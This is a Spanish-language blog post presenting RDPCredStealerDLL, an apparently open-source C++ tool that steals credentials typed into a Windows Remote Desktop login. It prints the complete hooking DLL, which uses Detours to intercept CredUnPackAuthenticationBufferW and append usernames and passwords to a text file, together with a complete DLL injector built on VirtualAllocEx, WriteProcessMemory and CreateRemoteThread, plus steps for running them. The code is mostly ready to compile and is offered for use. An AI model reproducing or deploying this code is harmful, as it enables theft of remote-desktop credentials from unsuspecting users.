Robo de credenciales RDP (Escritorio Remoto) con RDPCredStealerDLL

Hoy os traigo una herramienta de S12 (si no lo conocéis os recomiendo que echéis un vistazo a su Github y Medium). Se trata de RDPCredStealerDLL escrita en C++ para robar credenciales introducidas en el login de una sesión de Escritorio Remoto (RDP) mediante API hooking usando la librería de Detours

Hacerla funcionar es tan sencillo como primero copiar la dll RDPCredsStealer.dll a la ruta C:\Users\Public\Music (tienes el proyecto en el repo, no seas un vago incauto y compilalo tu mismo!)

Abrir la app del Escritorio Remoto:

Ejecutar el binario APIHookInjector:

Y al introducir la contraseña ...

... voilà! la tenemos en C:\Users\Public\Music\RDPCreds.txt

Ahora veamos un poco como funciona su kung-fu echando un vistazo a sus comentarios e indicaciones.

El código RDPCredStealerDLL tiene como objetivo la función CredUnPackAuthenticationBufferW de credui.dll que es la responsable de unpackear los buffers de autenticación. Paso a paso lo que hace es:

1.- Se incluyen los archivos de encabezado necesarios, como windows.h, wincred.h, detours.h y otros.

#include <windows.h>
#include <wincred.h>
#include "pch.h"
#include <detours.h>
#include <fstream>
#include <codecvt>
#include <locale>

2.- Se define un tipo de puntero a función CredUnPackAuthenticationBufferW_t, que representa la firma de la función original CredUnPackAuthenticationBufferW.
// Definición del puntero a la función original
typedef BOOL(WINAPI* CredUnPackAuthenticationBufferW_t)(
    DWORD       dwFlags,
    PVOID       pAuthBuffer,
    DWORD       cbAuthBuffer,
    LPWSTR      pszUserName,
    DWORD* pcchMaxUserName,
    LPWSTR      pszDomainName,
    DWORD* pcchMaxDomainName,
    LPWSTR      pszPassword,
    DWORD* pcchMaxPassword
    );

3.- Se declara el puntero a función pCredUnPackAuthenticationBufferW, que se usará para almacenar la dirección de la función original.
// Declaración de la función original
CredUnPackAuthenticationBufferW_t pCredUnPackAuthenticationBufferW = NULL;

4.- Se implementa la función MyCredUnPackAuthenticationBufferW, que sirve como hook para la función original. Se llama cuando se invoca la función hookeada. Esta función primero llama a la función original usando el puntero a función almacenado pCredUnPackAuthenticationBufferW. Luego, convierte el nombre de usuario y la contraseña recuperados de cadenas anchas (LPWSTR) a cadenas codificadas en UTF-8 (std::string).
BOOL WINAPI MyCredUnPackAuthenticationBufferW(DWORD dwFlags, PVOID pAuthBuffer, DWORD cbAuthBuffer, LPWSTR pszUserName, DWORD* pcchMaxUserName, LPWSTR pszDomainName, DWORD* pcchMaxDomainName, LPWSTR pszPassword, DWORD* pcchMaxPassword)
{
    OutputDebugStringA("MyCredUnPackAuthenticationBufferW Hooked Function");
    // Llamada a la función original
    BOOL result = pCredUnPackAuthenticationBufferW(
        dwFlags,
        pAuthBuffer,
        cbAuthBuffer,
        pszUserName,
        pcchMaxUserName,
        pszDomainName,
        pcchMaxDomainName,
        pszPassword,
        pcchMaxPassword
    );

    // Convertir pszUserName a std::string
    std::wstring_convert<std::codecvt_utf8<wchar_t>> converter;
    std::string username = converter.to_bytes(pszUserName);

    // Convertir pszPassword a std::string
    std::string password = converter.to_bytes(pszPassword);

Finalmente, abre un archivo en modo de anexión y escribe el nombre de usuario y la contraseña en él.

    std::ofstream file("C:\\Users\\Public\\Music\\RDPCreds.txt", std::ios_base::app);
    if (file.is_open())
    {
        file << username << ":" << password << std::endl;
        file.close();
    }

    return result;
}

5.- La función DllMain sirve como punto de entrada para la DLL de hook. Se llama cuando la DLL se carga o descarga. Cuando ul_reason_for_call es DLL_PROCESS_ATTACH, lo que indica que la DLL se está cargando, carga la biblioteca credui.dll utilizando LoadLibraryA.

Luego, obtiene la dirección de la función original CredUnPackAuthenticationBufferW usando GetProcAddress. Si tiene éxito, inicia el proceso de hook llamando a DetourTransactionBegin, DetourUpdateThread y DetourAttach. Cuando ul_reason_for_call es DLL_PROCESS_DETACH, lo que indica que la DLL se está descargando, revierte el proceso de hook llamando a DetourTransactionBegin, DetourUpdateThread y DetourDetach.
// Función de inicialización del hook
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        HMODULE hAdvapi32 = LoadLibraryA("credui.dll");
        if (hAdvapi32 != NULL) {
            pCredUnPackAuthenticationBufferW = reinterpret_cast<CredUnPackAuthenticationBufferW_t>(GetProcAddress(hAdvapi32, "CredUnPackAuthenticationBufferW"));
            if (pCredUnPackAuthenticationBufferW != NULL)
            {
                OutputDebugStringA("Installing Hooked Function");
                // Aplica el hook
                DetourTransactionBegin();
                DetourUpdateThread(GetCurrentThread());
                DetourAttach(&(PVOID&)pCredUnPackAuthenticationBufferW, MyCredUnPackAuthenticationBufferW);
                DetourTransactionCommit();
            }
            else {
                OutputDebugStringA("Error");

            }
        }
    }
    else if (ul_reason_for_call == DLL_PROCESS_DETACH)
    {
        // Deshace el hook
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)pCredUnPackAuthenticationBufferW, MyCredUnPackAuthenticationBufferW);
        DetourTransactionCommit();
    }

    return true;
}

Luego tenemos Inject.h que proporciona funciones para inyectar una DLL en un proceso objetivo en el sistema operativo Windows. Veamos el código y comprendamos también su funcionalidad:

1.- Se incluyen los archivos de encabezado necesarios, como windows.h, stdio.h y tlhelp32.h. Estos encabezados proporcionan las funciones y tipos de datos requeridos para interactuar con la API de Windows.
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <iostream>

using namespace std;

2.- La función getPIDbyProcName toma un nombre de proceso como entrada y devuelve el ID de proceso correspondiente (PID). Utiliza la función CreateToolhelp32Snapshot para crear una instantánea de los procesos actuales y luego itera a través de la instantánea utilizando las funciones Process32FirstW y Process32NextW para encontrar el proceso con un nombre coincidente. Si se encuentra, devuelve el ID de proceso; de lo contrario, devuelve 0.
int getPIDbyProcName(const wchar_t* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnap, &pe32) != FALSE) {
        while (pid == 0 && Process32NextW(hSnap, &pe32) != FALSE) {
            if (wcscmp(pe32.szExeFile, procName) == 0) {
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

3.- La función DLLinjector toma un ID de proceso (pid) y una ruta de DLL como entrada. Inyecta la DLL especificada en el proceso objetivo. Así es como funciona:

a. Abre el proceso objetivo utilizando OpenProcess con la flag PROCESS_ALL_ACCESS.
b. Obtiene el identificador del módulo Kernel32 utilizando GetModuleHandleW.
c. Obtiene la dirección de la función LoadLibraryW dentro de Kernel32 utilizando GetProcAddress.
d. Asigna memoria en el proceso objetivo utilizando VirtualAllocEx.
e. Escribe la ruta de la DLL en la memoria asignada en el proceso objetivo utilizando WriteProcessMemory.
f. Crea un hilo remoto en el proceso objetivo utilizando CreateRemoteThread y pasa la dirección de LoadLibraryW y la memoria asignada como parámetros.
g. Si la creación del hilo tiene éxito, devuelve true, lo que indica que la inyección de DLL fue exitosa.

bool DLLinjector(DWORD pid, const wchar_t* dllPath) {
    typedef LPVOID memory_buffer;

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProc == NULL) {
        cout << "OpenProcess() failed: " << GetLastError() << endl;
        return false;
    }

    HMODULE hKernel32 = GetModuleHandleW(L"Kernel32");
    FARPROC lb = GetProcAddress(hKernel32, "LoadLibraryW");
    memory_buffer allocMem = VirtualAllocEx(hProc, NULL, wcslen(dllPath) * sizeof(wchar_t), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (allocMem == NULL) {
        cout << "VirtualAllocEx() failed: " << GetLastError() << endl;
        return false;
    }
    WriteProcessMemory(hProc, allocMem, dllPath, wcslen(dllPath) * sizeof(wchar_t), NULL);
    HANDLE rThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lb, allocMem, 0, NULL);
    if (rThread == NULL) {
        cout << "CreateRemoteThread() failed: " << GetLastError() << endl;
        return false;
    }

    cout << "Code Injected";

    CloseHandle(hProc);
    FreeLibrary(hKernel32);
    VirtualFreeEx(hProc, allocMem, wcslen(dllPath) * sizeof(wchar_t), MEM_RELEASE);
    return true;
}

La función principal no se proporciona en este fragmento de código. Puedes usar estas funciones en tu propia aplicación para inyectar una DLL en un proceso objetivo proporcionando el nombre del proceso y la ruta de la DLL como entrada.

Proyecto: https://github.com/S12cybersecurity/RDPCredentialStealer

Comentarios

  1. Muchas gracias, como creador de la herramienta es increíble verla en un blog como este!

    ResponderEliminar

Publicar un comentario